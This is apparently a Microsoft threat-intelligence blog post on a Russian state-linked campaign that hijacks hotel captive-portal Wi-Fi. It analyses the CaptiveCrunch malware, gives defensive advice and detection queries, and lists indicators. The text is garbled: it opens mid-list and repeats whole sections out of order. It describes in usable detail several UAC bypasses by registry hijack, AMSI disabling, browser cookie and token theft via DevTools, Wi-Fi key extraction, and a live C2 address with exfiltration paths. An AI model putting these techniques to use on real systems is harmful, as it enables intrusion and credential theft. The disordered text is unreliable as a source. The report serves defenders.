• winupdate — A Windows Update screen displaying “Working on updates… Don’t turn off your computer”
• defender — A Windows Security virus scan
• directx — A DirectX End-User Runtime Web Installer
• vcredist — A Microsoft Visual C++ 2015-2022 Redistributable installer
• sysopt — A disk optimization utility
• netfix — A Windows Network Diagnostics tool
• browser — A browser update prompt
• pdfview — A document viewer installer

CornFlake registers as a Windows service named svchost32 with the display name “Cloud Sync Service” and description “Synchronizes files with the cloud storage provider”, deliberately mimicking the legitimate svchost.exe process. It establishes redundant persistence mechanisms: Windows service registrations, Registry Run keys, named scheduled tasks, and a persistence watchdog routine that runs continuously to restore any persistence mechanism that is removed by defenders or endpoint protection.

For command and control (C2), CornFlake performs an Elliptic Curve Diffie-Hellman (ECDH) P-256 ephemeral key exchange with the C2 server, derives a session key via SHA-256, and communicates over a custom JSON protocol framed within the encrypted channel. This provides an encrypted channel to the C2 server, with each C2 session using a unique ephemeral key, making decryption of captured traffic impossible without the session-specific private key. The runtime configuration file sync.dat supports hot reconfiguration of C2 servers, watched directories, file targeting patterns, and Transport Layer Security (TLS) settings without requiring redeployment.

Once established on a victim system, CornFlake provides the operator with a comprehensive collection toolkit, gated by configuration flags that allow selective activation post-deployment:

CornFlake also exposes a localhost HTTP API server (/upload, /reload, /status) that transforms the RAT into a modular platform: companion or next-stage payloads such as ChocoShell could task file exfiltration, trigger configuration hot reloads or check C2 connectivity using the pre-established secure C2 channel for communication.

ChocoShell: PowerShell infostealer

ChocoShell is the campaign’s Powershell-based infostealer, delivered and executed entirely in-memory. Its primary objective is the high-volume theft of browser session cookies, saved passwords, Microsoft 365 Single Sign-On (SSO) tokens, and Wi-Fi credentials from compromised systems. Where CornFlake provides the operator with a persistent, long-running foothold on the device, ChocoShell is designed to extract the most operationally valuable credentials, giving the operator access to victim cloud environments.

The ChocoShell script was authored with full developer comments that reveal the operator’s intent behind each code decision, including explicit references to Microsoft detection signatures and the reasoning behind specific evasion choices. The consistent coding standard and descriptive commentary suggest the author might have leveraged AI-assisted code generation.

Defense evasion. Upon execution, ChocoShell beacons to a hardcoded C2 server at 213.145.86[.]112 and implements several evasion techniques in sequence. It disables the Antimalware Scan Interface (AMSI) via .NET reflection to prevent ScriptBlock scanning and evades Microsoft behavioral detection that triggers on suspicious PowerShell web request cmdlets. A timing-based sandbox detection check is also employed as a virtual machine (VM) detection mechanism, silently exiting without performing any collection if detected.

C2 communication. ChocoShell communicates with its C2 server using HTTPS with URI paths designed to blend in with legitimate web traffic. Beacons use /t/pixel.gif?m=<status>, mimicking an image tracking pixel. Additional tooling is fetched from /cdn/chunks/polyfill-7e2b.min.js, disguised as a JavaScript polyfill file. This downloaded module is Base64-decoded and executed in memory via [ScriptBlock]::Create(), providing browser encryption key extraction capabilities, SYSTEM token impersonation, and Defender signature locking. Exfiltrated data is sent by POST to /t/event as GZip-compressed, Base64-wrapped JSON.

Privilege escalation. ChocoShell requires administrative privileges for its most impactful capabilities: SYSTEM token impersonation for Chrome ABE decryption, Volume Shadow Copy Service (VSS) shadow copy creation, Defender signature locking. It implements three silent UAC bypass techniques with ordered fallback:

1. SilentCleanup task hijack: Writes a malicious command to HKCU\Environment\windir, then triggers the built-in SilentCleanup scheduled task, which resolves %windir% from the user’s environment, executing the threat actor’s command at elevated privilege. The registry value is cleaned up after two seconds to avoid cloud detection.
2. wsreset.exe COM hijack: Creates a COM handler key in HKCU\Software\Classes and launches the auto-elevating Windows Store reset tool.
3. sdclt.exe folder hijack: Hijacks HKCU\Software\Classes\Folder\shell\open\command and launches the Windows Backup utility with the /KickOffElev flag.

If none of the silent bypasses succeed (for example, the user is not a local administrator), ChocoShell falls back to a visible UAC prompt via Start-Process -Verb RunAs. Notably, the script also contains a variant designed to execute within the WinGet Desired State Configuration (DSC) host process (ConfigurationRemotingServer), suggesting an attack vector through malicious WinGet DSC configuration used in Windows machine provisioning.

Credential and session theft. Once running with elevated permissions, ChocoShell locks Defender signature updates and systematically harvests data from multiple sources. For Chromium-based browsers (Chrome, Edge, Brave, Opera, Opera GX, Vivaldi), it extracts the master encryption key from the browser’s Local State file, handling both the modern ABE scheme (Chrome v127+) and the legacy data protection API (DPAPI)-only scheme. ABE decryption requires SYSTEM-level DPAPI access, which the malware obtains by impersonating a SYSTEM process token borrowed from winlogon.exe, wininit.exe, or services.exe. Locked browser SQLite databases are accessed through three strategies: shared file access, Volume Shadow Service snapshots, and direct copy as a fallback.

As a parallel collection path, ChocoShell launches Chrome, Edge, and Brave with the –remote-debugging-port flag and issues Network.getAllCookies through the Chrome DevTools Protocol (CDP). This completely bypasses ABE, enabling the browser to perform its own internal decryption and returns plaintext cookie values. To handle privilege issues (SYSTEM-launched browsers inherit the wrong token), the malware creates transient scheduled tasks with TASK_LOGON_INTERACTIVE_TOKEN to launch the browser under the signed-in user’s session. After extraction, the browser is stopped and relaunched with –restore-last-session to avoid alerting the user.

For Firefox family browsers (Firefox, Waterfox, LibreWolf, Floorp, Zen), the malware copies unencrypted cookies.sqlite databases from each profile. Additionally, ChocoShell collects Microsoft 365 and Azure Active Directory (AD) access tokens, refresh tokens, and Web Account Manager (WAM) tokens from .tbres files in the Token Broker cache. Collection of these tokens represents a significant threat to enterprise environments, as threat actors could replay SSO sessions without browser cookies. Additionally, Wi-Fi credentials are harvested via netsh wlan show profile with key=clear.

Exfiltration and cleanup. All collected data is aggregated into a JSON structure, GZip-compressed, Base64-encoded, and sent by POST to the C2’s /t/event endpoint. After exfiltration, all collected data variables are nulled, garbage collection is forced, VSS shadow copies are deleted via Windows Management Instrumentation (WMI), temporary elevation scripts are removed, and all UAC bypass registry keys (already cleaned during escalation) are verified removed.

FruitStone: Operator C2 panel

FruitStone is the web-based C2 panel that Storm-2945 operators use to manage the entire CaptiveCrunch campaign infrastructure. Implemented as a single-page application (HTML and JavaScript) serving as the front-end of the C2 server with all functionality exposed without authentication, FruitStone provides a centralized dashboard for managing compromised endpoints, building and deploying new campaign payloads, and reviewing all collected data (such as screenshots, keystrokes, browser credentials).

Operational cover. The panel is branded as “CloudSync Console” with a footer reading “Acuity Systems, Inc. — Cloud Infrastructure Portal v3.2.1,” designed to appear as legitimate enterprise cloud management software if the panel URL is discovered by defenders or hosting providers. This masquerading extends to the CornFlake agent’s service name (Cloud Sync Service) and description (“Synchronizes files with the cloud storage provider”), creating a consistent cover story across the toolchain.

Session management and multi-operator support. FruitStone uses JSON Web Token (JWT)-based authentication, session revocation, and rate limiting with IP blocking to prevent brute force attacks against the panel sign in. Multiple operators could be provisioned with individual accounts, and all active sessions are visible with IP address, user-agent, and creation time to enable operational security awareness across the operators.

Agent management. The panel displays all registered CornFlake agents in a dashboard with real-time status updates via Server-Sent Events (SSE). Each agent card shows comprehensive system information including hostname, username, OS version, CPU, RAM, disk usage, screen resolution, timezone, domain membership, and camera/microphone presence, all collected during the CornFlake posture sweep. Agents are grouped by country and subnet, with geographic distribution visualized on a map.

Operators could interact with individual agents through:

• Remote shell — Interactive cmd.exe or PowerShell command execution with command history
• File system browser — Live directory traversal and arbitrary file download from compromised hosts
• Collection tasking — On-demand screenshot, process list, keylog buffer flush, clipboard dump, security posture survey, ChromeKatz cookie/password extraction, camera capture, and audio recording
• Configuration push — Live runtime reconfiguration of C2 servers, watch paths, and C2 beacon timing
• Agent update — In-place implant update by pushing a new CornFlake build to a running agent
• Agent kill — Remote termination of the CornFlake implant

Campaign builder. A step-by-step wizard enables operators to configure and build new CornFlake payloads directly from the panel:

1. Identity — Campaign ID, C2 host and port, HTTP base URL, executable file name (svchost32.exe by default), and dropper type (C dropper at ~19 KB, Go stub at ~8 MB, or standalone self-installer)

2. Capabilities — Toggle individual collection modules: screenshots, process enumeration, keylogging, clipboard monitoring, posture survey, file exfiltration, and ChromeKatz browser credential theft

3. File Paths — Configure targeted directories and file extensions by category (documents, archives, images, code, data, emails, encryption keys)

4. Evasion — Enable garble symbol randomization (for GoLang payloads), XOR string encoding, GZip upload compression, and debug mode

Infrastructure management. FruitStone provides management interfaces for three layers of supporting infrastructure:

• Proxy relays — Multi-proxy C2 relay architecture with TLS certificate tracking (fingerprint, expiry), health checks, connection counts, bytes forwarded, and rotation capabilities that push updated server lists to all online agents
• Beacon profiles — Configurable timing profiles controlling agent sleep intervals, reconnection delays, TLS Server Name Indication (SNI) spoofing (like teams.microsoft.com), and DNS fallback domains
• Staging servers — External payload hosting infrastructure with push-to-deploy, file listing, and health monitoring

Device code abuse for cloud access

Since July 16, Microsoft has observed a portion of CaptiveCrunch landing pages redirecting users to device code authentication flow experiences. In these cases, users served these landings might be instructed to enter a device code into a legitimate Microsoft sign-in page, a technique commonly referred to as device code phishing.

Device code authentication is a legitimate OAuth workflow designed for devices that cannot support a traditional sign-in experience. However, threat actors could abuse this flow by initiating an authentication request on behalf of a user then convincing the user to enter an actor-controlled device code into a legitimate Microsoft authentication page. When successful, the victim authenticates the threat actor’s session rather than their own.

This activity is consistent with previously reported device code phishing operations conducted by Midnight Blizzard since August 2024. The observed technique does not appear fundamentally novel; however, integrating device code phishing into captive portal and traffic manipulation operations might increase the likelihood that users perceive the authentication request as legitimate. For additional details on Midnight Blizzard-related device code phishing techniques, see: Storm-2372 conducts device code phishing campaign. To understand other threat actors’ use of device code phishing and associated mitigations, see Inside an AI‑enabled device code phishing campaign.

How to protect against CaptiveCrunch activity

Minimize trust in hospitality and guest networks

When traveling, users should treat hotel, conference, airport, and other guest wireless networks as untrustworthy.

• Prefer private connectivity (including mobile hotspots, satellite, and eSIM-based cellular data connections) over public Wi‑Fi whenever practical.
  • For enterprise-managed devices, organizations can choose to prevent Wi-Fi connections to networks that have not been provisioned via Mobile Device Management (MDM). See: https://learn.microsoft.com/windows/client-management/mdm/policy-csp-wifi#allowmanualwificonfiguration
• Consider using enterprise-managed travel routers or hotspot devices that establish encrypted tunnels back to trusted corporate infrastructure before accessing sensitive resources.
• Avoid downloading software updates, certificates, browser updates, network troubleshooting tools, or security utilities presented through captive portals or other unexpected web prompts.
• Verify update requests through trusted operating system mechanisms rather than pop-up messages or website prompts.

Strengthen identity and access controls

Organizations should assume that public and hospitality network infrastructure might not be trustworthy and should adopt controls that limit exposure to traffic manipulation, credential theft, and device code phishing.

• Educate users to recognize ClickFix-style prompts, fake verification checks, and paste-and-run instructions as malicious, especially when they invoke command interpreters or script hosts such as cmd.exe, PowerShell, rundll32.exe, or mshta.exe.
• Use passwordless solutions like passkeys and implement multifactor authentication (MFA).
  • Use the Microsoft Authenticator app for passkeys and MFA, and complement MFA with conditional access policies, where sign-in requests are evaluated using additional identity-driven signals.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
  • Your passkey and MFA policy can be further secured by only allowing MFA and passkey registrations from trusted locations and devices.
• Only allow device code flow where necessary. Microsoft recommends blocking device code flow wherever possible. Where necessary, configure Microsoft Entra ID’s device code flow in your Conditional Access policies.
• Implement a sign-in risk policy to automate response to risky sign-ins. A sign-in risk represents the probability that a given authentication request is not authorized by the identity owner. A sign-in risk-based policy can be implemented by adding a sign-in risk condition to Conditional Access policies that evaluates the risk level of a specific user or group. Based on the risk level (high/medium/low), a policy can be configured to block access or force MFA.
  • When a user is a high risk and Conditional access evaluation is enabled, the user’s access is revoked, and they are forced to re-authenticate.
  • For regular activity monitoring, use Risky sign-in reports, which surface attempted and successful user access activities where the legitimate owner might not have performed the sign-in. 
• Use a Security Service Edge (SSE) solution like Global Secure Access to secure access to any app or resource using network, identity, and endpoint access controls.

Reduce exposure during captive portal registration

Organizations should review what information employees provide to hospitality providers when connecting to guest networks.

• Do not reuse corporate credentials on hotel, conference, or guest-network registration pages.
• Where possible, organizations should evaluate whether venue-provided wireless is required for corporate events and conferences.
• Organizations should minimize unnecessary disclosure of employee identities, organizational affiliations, and travel details when booking accommodations or registering for guest network access, consistent with corporate policy and applicable local requirements.

Microsoft Defender detections and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender for Endpoint detects Storm-2945 activity under the detection Suspicious activity linked to a Russian state-sponsored threat actor has been detected. However, these alerts might be triggered by unrelated threat actor activity. The following chart lists Microsoft Defender detections specific to the TTPs utilized by Storm-2945 in this attack.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Actor profile: Midnight Blizzard

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Detect file creation after Wi-Fi connectivity test on devices

The following query checks for a file creation on a device within two minutes of the device performing built‑in Network Connectivity Status Indicator (NCSI) test, which occurs when network connectivity is established to a Wi-Fi network with a captive portal. This activity might indicate an attacker’s initial access file presence on a device.

Please note that not all files discovered through this query might be malicious or related to this threat activity.

let ncsi_endpoints = dynamic(["msftconnecttest.com","edge-http.microsoft.com","msftncsi.com","captive.apple.com","clients1.google.com",
    "clients3.google.com","clients4.google.com","clients6.google.com","connectivitycheck.gstatic.com","connectivitycheck.android.com",
    "android.clients.google.com","www.gstatic.com","detectportal.firefox.com","detectportal.brave-http-only.com","cloudflareportal.com",
    "cloudflarecp.com","cloudflareok.com","connectivity-check.warp-svc","connectivity.cloudflareclient.com","spectrum.s3.amazonaws.com",
    "nmcheck.gnome.org"]);
let NCSIEvents = DeviceNetworkEvents
    | where Timestamp > ago(7d)
    | where RemoteUrl has_any (ncsi_endpoints)
    | project NCSI_Timestamp = Timestamp, DeviceId, DeviceName, RemoteUrl, NCSI_ReportId = ReportId, NCSI_InitiatingProcessFileName = InitiatingProcessFileName, NCSI_InitiatingProcessCommandLine = InitiatingProcessCommandLine, NCSI_AccountName = InitiatingProcessAccountName;
let FileDownloadEvents = DeviceFileEvents
    | where Timestamp > ago(7d)
    | where ActionType == "FileCreated"
    | where FileName has_any (".exe",".msi",".zip",".rar",".7z")
    | project Download_Timestamp = Timestamp, DeviceId, FileName, FolderPath, Download_ReportId = ReportId, Download_InitiatingProcessFileName = InitiatingProcessFileName, Download_InitiatingProcessCommandLine = InitiatingProcessCommandLine, Download_AccountName = InitiatingProcessAccountName;
NCSIEvents
| join kind=inner (
    FileDownloadEvents
) on DeviceId
| where Download_Timestamp >= NCSI_Timestamp and Download_Timestamp 

Detect connectivity to Storm-2945 infrastructure

The following query checks for connectivity to Storm-2945 infrastructure observed in this attack activity.

let target_domains = dynamic(["ms365-device.com", "ms365-live.com", "m365-owa.com", "owa-ms365.com"]);
let target_ips = dynamic(["31.57.243.154", "38.146.28.75", "38.146.28.132", "104.194.159.150", "107.189.26.194", "213.145.86.112"]);
DeviceNetworkEvents
| where RemoteUrl has_any(target_domains) or RemoteIP in (target_ips)
| project
    Timestamp,
    DeviceName,
    DeviceId,
    RemoteUrl,
    RemoteIP,
    LocalIP,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine,
    AccountName = InitiatingProcessAccountName,
    ReportId

Detect CornFlake RAT presence on affected systems

The following query checks for the presence of the CornFlake RAT binary.

DeviceProcessEvents
| where FolderPath == "%APPDATA%\\svchost32\\svchost32.exe"
   or FolderPath endswith @"\svchost32\svchost32.exe"
| project Timestamp, DeviceName, DeviceId, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName, ReportId

Detect CornFlake RAT Windows service registration

The following query checks for the CornFlake RAT Windows service registration.

DeviceRegistryEvents
| where RegistryKey has @"\SYSTEM\CurrentControlSet\Services\svchost32"
| where ActionType == "RegistryValueSet"
| where (RegistryValueName == "DisplayName" and RegistryValueData == "Cloud Sync Service")
    or (RegistryValueName == "Description" and RegistryValueData == "Synchronizes files with the cloud storage provider")
| project
    Timestamp,
    DeviceName,
    DeviceId,
    RegistryKey,
    RegistryValueName,
    RegistryValueData,
    ActionType,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine,
    InitiatingProcessAccountName,
    ReportId

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Detect network IP and domain indicators of compromise using ASIM

The following query checks IP addresses and domain IOCs across data sources supported by ASIM network session parser:

//IP list and domain list- _Im_NetworkSession
let lookback = 30d;
let ioc_ip_addr = dynamic(["213.145.86.112"]);
let ioc_domains = dynamic(["213.145.86.112/t/pixel.gif", "213.145.86.112/cdn/chunks/polyfill-7e2b.min.js", "213.145.86.112/t/event"]);
_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
| summarize imNWS_mintime=min(TimeGenerated), imNWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor

Detect web sessions IP and file hash indicators of compromise using ASIM

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser:

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic(["213.145.86.112"]);
let ioc_sha_hashes =dynamic([“918fa52ae45ed60ba7cc8bdc99c3cbe9ab92e0375ec31fc05d0d4513be11c593”, “be99857449d2856dd5a84e21c8a3d5e0e01456adb44062ddec5a6b4970d8d42c”]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or FileSHA256 in (ioc_sha_hashes)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

Detect domain and URL indicators of compromise using ASIM

The following query checks domain and URL IOCs across data sources supported by ASIM web session parser:

// file hash list - imFileEvent
// Domain list - _Im_WebSession
let ioc_domains = dynamic(["https://213.145.86.112/t/pixel.gif", "https://213.145.86.112/cdn/chunks/polyfill-7e2b.min.js", "https://213.145.86.112/t/event"]);
_Im_WebSession (url_has_any = ioc_domains)

ChocoShell C2 communications

The following query detects ChocoShell communications with its C2 server using HTTPS with URI paths designed to blend in with legitimate web traffic. Beacons use /t/pixel.gif?m=<status>, mimicking an image tracking pixel.

let lookback = 30d;
let ioc_url_artifacts = dynamic(["/t/pixel.gif?m="]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstDomain  in (ioc_url_artifacts)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

Indicators of compromise

References

• https://reliaquest.com/blog/threat-spotlight-dns-poisoning-tactics-expand-to-hospitality/
• https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication

Learn more

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The post CaptiveCrunch: Midnight Blizzard targets travelers worldwide for malware delivery and credential theft appeared first on Microsoft Security Blog.

Since early May 2026, Microsoft Threat Intelligence has observed Storm-2945, a sub-cluster of Midnight Blizzard, conducting widespread but targeted traffic manipulation attacks involving hospitality sector networks served by captive portals worldwide. Despite some tactic, technique, and procedure (TTP) similarities to the Forest Blizzard DNS hijacking operation that we publicly disclosed in April 2026, we attribute this campaign, which we call CaptiveCrunch, to Storm-2945. As reported by ReliaQuest on July 23, a portion of this activity leverages doppelganger domains mimicking Microsoft online services to conduct follow-on adversary-in-the-middle (AitM) phishing operations that abuse the device code authentication flow in Microsoft Entra ID. Microsoft Threat Intelligence has also identified active traffic manipulation attacks leading to the delivery of malware on impacted systems. Microsoft has observed Storm-2945 leveraging AI to support a significant portion of these operations.

Today, we are sharing our findings on these ongoing intrusions to raise awareness of this threat and enable customers to protect their devices, especially while traveling. We provide our assessment of Storm-2945’s relationship to Midnight Blizzard and analysis of the CaptiveCrunch campaign, detailing the malware and tradecraft used in these operations. We also provide mitigation, detection, and hunting guidance to help organizations identify and defend against Storm-2945 and related activity.

Microsoft Threat Intelligence would like to thank our partners at Anthropic and OpenAI for their collaboration and support during this investigation.

The CaptiveCrunch campaign

Since February 2026, Storm-2945 has conducted AI-augmented operations including targeted device code and OAuth code phishing campaigns leading to Entra device registration and subsequent data collection from Microsoft 365. Since early May 2026, Microsoft Threat Intelligence has observed Storm-2945 manipulating DNS and HTTP traffic from networks served by captive portals to redirect user traffic through actor-controlled infrastructure. Although our investigation into the initial compromise vector for the captive portal networks is ongoing, we have observed notable commonalities in the equipment and management systems used across multiple affected networks. These similarities suggest that the activity might not be limited to isolated compromises of individual venues and could reflect access to shared services within portions of the captive portal ecosystem.

As part of the CaptiveCrunch campaign, Storm-2945 has leveraged their AitM position to redirect users through actor-controlled phishing infrastructure and has also delivered malware purporting to be browser or operating system updates in response to automated connectivity checks issued by users’ browsers. Multiple variants have been delivered, including fully-featured Windows remote access trojans (RAT) in compiled Golang, with functionality to conduct system enumeration, collect files and keystrokes, steal credentials and session tokens, conduct audio and video surveillance, monitor for removable media, and provide the threat actor a remote shell on infected systems.  

The threat actor infrastructure leverages a variety of ClickFix techniques to elicit the user into downloading and executing the malware:

In addition to variants of malware targeting Windows systems, Microsoft Threat Intelligence is also aware of indications that the threat actor might be targeting Android devices with similar techniques as the ClickFix landings also include instructions for Android devices to download and install an APK file.

To date, Microsoft has identified widespread compromise of Wi-Fi networks at hospitality-related organizations and other networks serviced by captive portal equipment in several countries. ReliaQuest has identified this activity not only at hotels, but also conference centers and other shared venues, and assesses that the goal of this activity is to access the accounts of corporate travelers.

Storm-2945 and Midnight Blizzard

Microsoft Threat Intelligence assesses that Storm-2945 is an operational sub-cluster of Midnight Blizzard based on distinctive technical and operational overlaps. These include technical similarities to Storm-2372, a Midnight Blizzard initial access operations sub-cluster, also notable for their device code and OAuth code phishing operations tracked throughout 2025, Microsoft Graph-based email exfiltration, social engineering delivered via commercial messaging apps, and significant similarities in victimology.

Midnight Blizzard is a Russia-based threat actor attributed by the US and UK governments to the Foreign Intelligence Service of the Russian Federation, also known as the SVR. This threat actor is known to primarily target governments, diplomatic entities, non-governmental organizations (NGOs), and information technology (IT) service providers, primarily in the US and Europe. Midnight Blizzard is consistent and persistent in their operational targeting, and their objectives rarely change. Their focus is to collect intelligence through longstanding and dedicated espionage in support of Russian foreign policy interests.

Midnight Blizzard operations often involve compromise of valid accounts and, in some highly targeted cases, advanced techniques to compromise authentication mechanisms within an organization to expand access and evade detection. They utilize diverse initial access methods, and Midnight Blizzard is also adept at identifying and abusing OAuth applications to move laterally across cloud environments and for post-compromise activity, such as email collection.

CaptiveCrunch tradecraft and tooling

CornFlake: Remote access and infostealer implant

CornFlake is a full-featured Windows RAT written in Go that serves as Storm-2945’s primary persistent implant. Microsoft has observed the threat actor rapidly iterating on this malware layer, which features customizable capabilities from the social engineering user interface and data collection capabilities to anti-detection and evasion techniques.

On initial execution, CornFlake operates in dropper mode: it displays a convincing fake progress window designed to occupy the victim’s attention while the binary copies itself to %APPDATA%\svchost32\svchost32.exe and establishes persistence.

Fake window options configurable by the threat actor at build time:

• winupdate — A Windows Update screen displaying “Working on updates… Don’t turn off your computer”
• defender — A Windows Security virus scan
• directx — A DirectX End-User Runtime Web Installer
• vcredist — A Microsoft Visual C++ 2015-2022 Redistributable installer
• sysopt — A disk optimization utility
• netfix — A Windows Network Diagnostics tool
• browser — A browser update prompt
• pdfview — A document viewer installer

CornFlake registers as a Windows service named svchost32 with the display name “Cloud Sync Service” and description “Synchronizes files with the cloud storage provider”, deliberately mimicking the legitimate svchost.exe process. It establishes redundant persistence mechanisms: Windows service registrations, Registry Run keys, named scheduled tasks, and a persistence watchdog routine that runs continuously to restore any persistence mechanism that is removed by defenders or endpoint protection.

For command and control (C2), CornFlake performs an Elliptic Curve Diffie-Hellman (ECDH) P-256 ephemeral key exchange with the C2 server, derives a session key via SHA-256, and communicates over a custom JSON protocol framed within the encrypted channel. This provides an encrypted channel to the C2 server, with each C2 session using a unique ephemeral key, making decryption of captured traffic impossible without the session-specific private key. The runtime configuration file sync.dat supports hot reconfiguration of C2 servers, watched directories, file targeting patterns, and Transport Layer Security (TLS) settings without requiring redeployment.

Once established on a victim system, CornFlake provides the operator with a comprehensive collection toolkit, gated by configuration flags that allow selective activation post-deployment:

CornFlake also exposes a localhost HTTP API server (/upload, /reload, /status) that transforms the RAT into a modular platform: companion or next-stage payloads such as ChocoShell could task file exfiltration, trigger configuration hot reloads or check C2 connectivity using the pre-established secure C2 channel for communication.

ChocoShell: PowerShell infostealer

ChocoShell is the campaign’s Powershell-based infostealer, delivered and executed entirely in-memory. Its primary objective is the high-volume theft of browser session cookies, saved passwords, Microsoft 365 Single Sign-On (SSO) tokens, and Wi-Fi credentials from compromised systems. Where CornFlake provides the operator with a persistent, long-running foothold on the device, ChocoShell is designed to extract the most operationally valuable credentials, giving the operator access to victim cloud environments.

The ChocoShell script was authored with full developer comments that reveal the operator’s intent behind each code decision, including explicit references to Microsoft detection signatures and the reasoning behind specific evasion choices. The consistent coding standard and descriptive commentary suggest the author might have leveraged AI-assisted code generation.

Defense evasion. Upon execution, ChocoShell beacons to a hardcoded C2 server at 213.145.86[.]112 and implements several evasion techniques in sequence. It disables the Antimalware Scan Interface (AMSI) via .NET reflection to prevent ScriptBlock scanning and evades Microsoft behavioral detection that triggers on suspicious PowerShell web request cmdlets. A timing-based sandbox detection check is also employed as a virtual machine (VM) detection mechanism, silently exiting without performing any collection if detected.

C2 communication. ChocoShell communicates with its C2 server using HTTPS with URI paths designed to blend in with legitimate web traffic. Beacons use /t/pixel.gif?m=<status>, mimicking an image tracking pixel. Additional tooling is fetched from /cdn/chunks/polyfill-7e2b.min.js, disguised as a JavaScript polyfill file. This downloaded module is Base64-decoded and executed in memory via [ScriptBlock]::Create(), providing browser encryption key extraction capabilities, SYSTEM token impersonation, and Defender signature locking. Exfiltrated data is sent by POST to /t/event as GZip-compressed, Base64-wrapped JSON.

Privilege escalation. ChocoShell requires administrative privileges for its most impactful capabilities: SYSTEM token impersonation for Chrome ABE decryption, Volume Shadow Copy Service (VSS) shadow copy creation, Defender signature locking. It implements three silent UAC bypass techniques with ordered fallback:

1. SilentCleanup task hijack: Writes a malicious command to HKCU\Environment\windir, then triggers the built-in SilentCleanup scheduled task, which resolves %windir% from the user’s environment, executing the threat actor’s command at elevated privilege. The registry value is cleaned up after two seconds to avoid cloud detection.
2. wsreset.exe COM hijack: Creates a COM handler key in HKCU\Software\Classes and launches the auto-elevating Windows Store reset tool.
3. sdclt.exe folder hijack: Hijacks HKCU\Software\Classes\Folder\shell\open\command and launches the Windows Backup utility with the /KickOffElev flag.

If none of the silent bypasses succeed (for example, the user is not a local administrator), ChocoShell falls back to a visible UAC prompt via Start-Process -Verb RunAs. Notably, the script also contains a variant designed to execute within the WinGet Desired State Configuration (DSC) host process (ConfigurationRemotingServer), suggesting an attack vector through malicious WinGet DSC configuration used in Windows machine provisioning.

Credential and session theft. Once running with elevated permissions, ChocoShell locks Defender signature updates and systematically harvests data from multiple sources. For Chromium-based browsers (Chrome, Edge, Brave, Opera, Opera GX, Vivaldi), it extracts the master encryption key from the browser’s Local State file, handling both the modern ABE scheme (Chrome v127+) and the legacy data protection API (DPAPI)-only scheme. ABE decryption requires SYSTEM-level DPAPI access, which the malware obtains by impersonating a SYSTEM process token borrowed from winlogon.exe, wininit.exe, or services.exe. Locked browser SQLite databases are accessed through three strategies: shared file access, Volume Shadow Service snapshots, and direct copy as a fallback.

As a parallel collection path, ChocoShell launches Chrome, Edge, and Brave with the –remote-debugging-port flag and issues Network.getAllCookies through the Chrome DevTools Protocol (CDP). This completely bypasses ABE, enabling the browser to perform its own internal decryption and returns plaintext cookie values. To handle privilege issues (SYSTEM-launched browsers inherit the wrong token), the malware creates transient scheduled tasks with TASK_LOGON_INTERACTIVE_TOKEN to launch the browser under the signed-in user’s session. After extraction, the browser is stopped and relaunched with –restore-last-session to avoid alerting the user.

For Firefox family browsers (Firefox, Waterfox, LibreWolf, Floorp, Zen), the malware copies unencrypted cookies.sqlite databases from each profile. Additionally, ChocoShell collects Microsoft 365 and Azure Active Directory (AD) access tokens, refresh tokens, and Web Account Manager (WAM) tokens from .tbres files in the Token Broker cache. Collection of these tokens represents a significant threat to enterprise environments, as threat actors could replay SSO sessions without browser cookies. Additionally, Wi-Fi credentials are harvested via netsh wlan show profile with key=clear.

Exfiltration and cleanup. All collected data is aggregated into a JSON structure, GZip-compressed, Base64-encoded, and sent by POST to the C2’s /t/event endpoint. After exfiltration, all collected data variables are nulled, garbage collection is forced, VSS shadow copies are deleted via Windows Management Instrumentation (WMI), temporary elevation scripts are removed, and all UAC bypass registry keys (already cleaned during escalation) are verified removed.

FruitStone: Operator C2 panel

